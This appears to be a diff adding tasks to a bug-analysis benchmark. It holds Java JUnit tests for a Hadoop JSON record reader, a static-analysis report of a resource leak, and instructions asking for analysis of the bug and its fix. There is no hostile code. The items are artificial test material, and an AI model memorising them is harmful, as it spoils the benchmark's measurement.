+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 195 is not released after line 195.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscOpenLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscOpenLast():void.9ff2b41a978a85c8bf78f6f0925d7766
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscOpenLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+81b9224e634f1c82e9446775dbc5a37d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8700/instruction.md b/inferredbugs-8700/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5ff04b63a8795f2bb0d80165b268f0020c5bb589
--- /dev/null
+++ b/inferredbugs-8700/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 72
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
